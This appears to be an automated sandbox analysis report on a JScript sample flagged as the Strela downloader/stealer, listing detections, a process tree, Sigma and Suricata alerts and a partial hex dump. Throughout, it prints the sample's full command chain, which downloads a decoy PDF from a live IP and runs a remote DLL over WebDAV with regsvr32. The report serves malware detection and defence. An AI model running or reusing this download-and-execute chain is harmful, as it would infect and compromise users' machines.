Edit tour

Windows Analysis Report
2851627061208688962.js

Overview

General Information

Sample name:	2851627061208688962.js
Analysis ID:	1588551
MD5:	a699abe4d848593a44ceb8777f78d8f9
SHA1:	b5e478b0c3dfd74589320ffe3a5ae8665c9a004c
SHA256:	f5b5162abafd654fb2b799bc54d8a4f3a03614c4076295c9f0df5e85a91f7441
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3756 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2851627061208688962.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 592 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2960 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1476 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6784 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1056 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1532,i,8303843229215920734,14092026120147392141,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3328 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2328 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1808 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3756	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 592, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2960, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 592, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2960, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2851627061208688962.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2851627061208688962.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2851627061208688962.js", ProcessId: 3756, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2328, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49733

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2851627061208688962.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3756, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, ProcessId: 592, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2851627061208688962.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3756, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, ProcessId: 592, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2851627061208688962.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3756, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, ProcessId: 592, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2851627061208688962.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3756, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, ProcessId: 592, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2851627061208688962.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3756, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, ProcessId: 592, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2851627061208688962.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2851627061208688962.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2851627061208688962.js", ProcessId: 3756, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 592, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2960, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3328, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2328, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1808, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3328, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2328, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2851627061208688962.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3756, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\86502495330843.dll, ProcessId: 592, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:18:47.021823+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49716	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:18:49.934270+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49733	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:18:47.021823+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49716	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 2851627061208688962.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2851627061208688962.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2851627061208688962.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49716 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49733 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:18:46 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

